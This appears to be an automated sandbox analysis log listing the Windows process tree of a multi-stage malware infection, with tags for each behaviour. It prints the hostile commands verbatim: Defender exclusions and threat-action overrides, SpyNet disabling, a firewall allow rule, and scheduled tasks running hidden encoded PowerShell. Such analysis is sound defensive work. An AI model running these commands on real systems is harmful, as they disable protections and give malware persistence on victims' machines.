C:\Users\Admin\AppData\Local\Temp\is-14SNG.tmp\AdblockInstaller.tmp"C:\Users\Admin\AppData\Local\Temp\is-14SNG.tmp\AdblockInstaller.tmp" /SL5="$102BE,15557677,792064,C:\Users\Admin\AppData\Local\Temp\Update-623edf62-b8b2-4ce1-9ee1-6c28535a9558\AdblockInstaller.exe" /SP- /VERYSILENT /NOICONS /SUPPRESSMSGBOXES /UPDATE8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\netsh.exeC:\Windows\system32\netsh.exe firewall add allowedprogram "C:\Users\Admin\Programs\Adblock\DnsService.exe" AdBlockFast ENABLE7⤵
- Modifies Windows Firewall
-
C:\Users\Admin\Programs\Adblock\DnsService.exeC:\Users\Admin\Programs\Adblock\DnsService.exe -install7⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Users\Admin\Programs\Adblock\DnsService.exeC:\Users\Admin\Programs\Adblock\DnsService.exe -start7⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /f"6⤵
-
C:\Windows\system32\reg.exereg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /f7⤵
- Modifies registry key
-
C:\Users\Admin\Pictures\Adobe Films\NCLMpMyHylSDA7XNGnOOwISP.exe"C:\Users\Admin\Pictures\Adobe Films\NCLMpMyHylSDA7XNGnOOwISP.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\NCLMpMyHylSDA7XNGnOOwISP.exe"C:\Users\Admin\Pictures\Adobe Films\NCLMpMyHylSDA7XNGnOOwISP.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\AMfcSK8jf8MQF9r99eR0dwYn.exe"C:\Users\Admin\Pictures\Adobe Films\AMfcSK8jf8MQF9r99eR0dwYn.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS7B5B.tmp\Install.exe.\Install.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS9878.tmp\Install.exe.\Install.exe /S /site_id "525403"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gGMIFlMYb" /SC once /ST 13:52:08 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gGMIFlMYb"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gGMIFlMYb"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bGZpGlqvDNKjraWjlZ" /SC once /ST 17:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\eoLFqTN.exe\" d8 /site_id 525403 /S" /V1 /F7⤵
- DcRat
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\7OzgpfRjeJuJGOC110AS9IKi.exe"C:\Users\Admin\Pictures\Adobe Films\7OzgpfRjeJuJGOC110AS9IKi.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- DcRat
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Minor Policy\1otwkMtRp5_GVwIKMoXBdyCq.exe"C:\Users\Admin\Pictures\Minor Policy\1otwkMtRp5_GVwIKMoXBdyCq.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\at.exeat 3874982763784yhwgdfg78234789s42809374918uf3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Film.aspx & ping -n 5 localhost3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AvastUI.exe"5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exefind /I /N "avastui.exe"5⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AVGUI.exe"5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exefind /I /N "avgui.exe"5⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^otPcqYaF$" Deliver.aspx5⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Tanks.exe.pifTanks.exe.pif A5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Tanks.exe.pifC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Tanks.exe.pif Policy\1otwkMtRp5_GVwIKMoXBdyCq.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Tanks.exe.pifC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Tanks.exe.pif Policy\1otwkMtRp5_GVwIKMoXBdyCq.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Tanks.exe.pifC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Tanks.exe.pif Policy\1otwkMtRp5_GVwIKMoXBdyCq.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 78880 -s 807⤵
- Program crash
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 55⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost4⤵
- Runs ping.exe
-
C:\Users\Admin\Pictures\Minor Policy\l8aE9N9lWV1_HGgFg0SvoaW0.exe"C:\Users\Admin\Pictures\Minor Policy\l8aE9N9lWV1_HGgFg0SvoaW0.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\9ODabgZX.cpl",3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\9ODabgZX.cpl",4⤵
- Loads dropped DLL
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\9ODabgZX.cpl",5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\9ODabgZX.cpl",6⤵
- Loads dropped DLL
-
C:\Users\Admin\Pictures\Minor Policy\TAyAEuxagugqVVUAeIXAl1G8.exe"C:\Users\Admin\Pictures\Minor Policy\TAyAEuxagugqVVUAeIXAl1G8.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
-
C:\Users\Admin\Pictures\Minor Policy\PAtVz5Yrv808a9sf0C9R1aUk.exe"C:\Users\Admin\Pictures\Minor Policy\PAtVz5Yrv808a9sf0C9R1aUk.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Minor Policy\PAtVz5Yrv808a9sf0C9R1aUk.exe"C:\Users\Admin\Pictures\Minor Policy\PAtVz5Yrv808a9sf0C9R1aUk.exe" -q3⤵
-
C:\Users\Admin\Pictures\Minor Policy\CEAEns0tri805FGSiMi9wWws.exe"C:\Users\Admin\Pictures\Minor Policy\CEAEns0tri805FGSiMi9wWws.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Minor Policy\cnK3LaCT71eY9loLadUKobPe.exe"C:\Users\Admin\Pictures\Minor Policy\cnK3LaCT71eY9loLadUKobPe.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 452 -p 4368 -ip 43681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1380 -ip 13801⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3780 -s 6083⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3780 -ip 37801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1380 -ip 13801⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1380 -ip 13801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1380 -ip 13801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1380 -ip 13801⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1380 -ip 13801⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 448 -p 2040 -ip 20401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1380 -ip 13801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1376 -ip 13761⤵
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\9FDB.dll1⤵
-
C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\9FDB.dll2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1188 -ip 11881⤵
-
C:\Users\Admin\AppData\Local\Temp\AD1B.exeC:\Users\Admin\AppData\Local\Temp\AD1B.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\AD1B.exeC:\Users\Admin\AppData\Local\Temp\AD1B.exe2⤵
- DcRat
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\2df20d27-bd4d-436d-a469-13da887e59ee" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\AD1B.exe"C:\Users\Admin\AppData\Local\Temp\AD1B.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\AD1B.exe"C:\Users\Admin\AppData\Local\Temp\AD1B.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\70c042d1-46ba-4931-a96c-cd53a1fad360\build2.exe"C:\Users\Admin\AppData\Local\70c042d1-46ba-4931-a96c-cd53a1fad360\build2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\70c042d1-46ba-4931-a96c-cd53a1fad360\build2.exe"C:\Users\Admin\AppData\Local\70c042d1-46ba-4931-a96c-cd53a1fad360\build2.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 78296 -s 17847⤵
- Program crash
-
C:\Users\Admin\AppData\Local\70c042d1-46ba-4931-a96c-cd53a1fad360\build3.exe"C:\Users\Admin\AppData\Local\70c042d1-46ba-4931-a96c-cd53a1fad360\build3.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"6⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1188 -ip 11881⤵
-
C:\Users\Admin\AppData\Local\Temp\D351.exeC:\Users\Admin\AppData\Local\Temp\D351.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1188 -ip 11881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1380 -ip 13801⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 85928 -s 6003⤵
- Program crash
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 85928 -ip 859281⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1188 -ip 11881⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1188 -ip 11881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1188 -ip 11881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1188 -ip 11881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1380 -ip 13801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1188 -ip 11881⤵
-
C:\Users\Admin\AppData\Roaming\tjarhutC:\Users\Admin\AppData\Roaming\tjarhut1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Programs\Adblock\DnsService.exeC:\Users\Admin\Programs\Adblock\DnsService.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1188 -ip 11881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 78880 -ip 788801⤵
-
C:\Users\Admin\AppData\Local\Temp\55EB.exeC:\Users\Admin\AppData\Local\Temp\55EB.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Checks processor information in registry
-
C:\Windows\SysWOW64\agentactivationruntimestarter.exeC:\Windows\system32\agentactivationruntimestarter.exe2⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#612⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 79548 -s 4282⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 79548 -s 10042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 79548 -s 10042⤵
- Program crash
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#612⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 79548 -s 10842⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 79548 -s 6762⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\eoLFqTN.exeC:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\eoLFqTN.exe d8 /site_id 525403 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
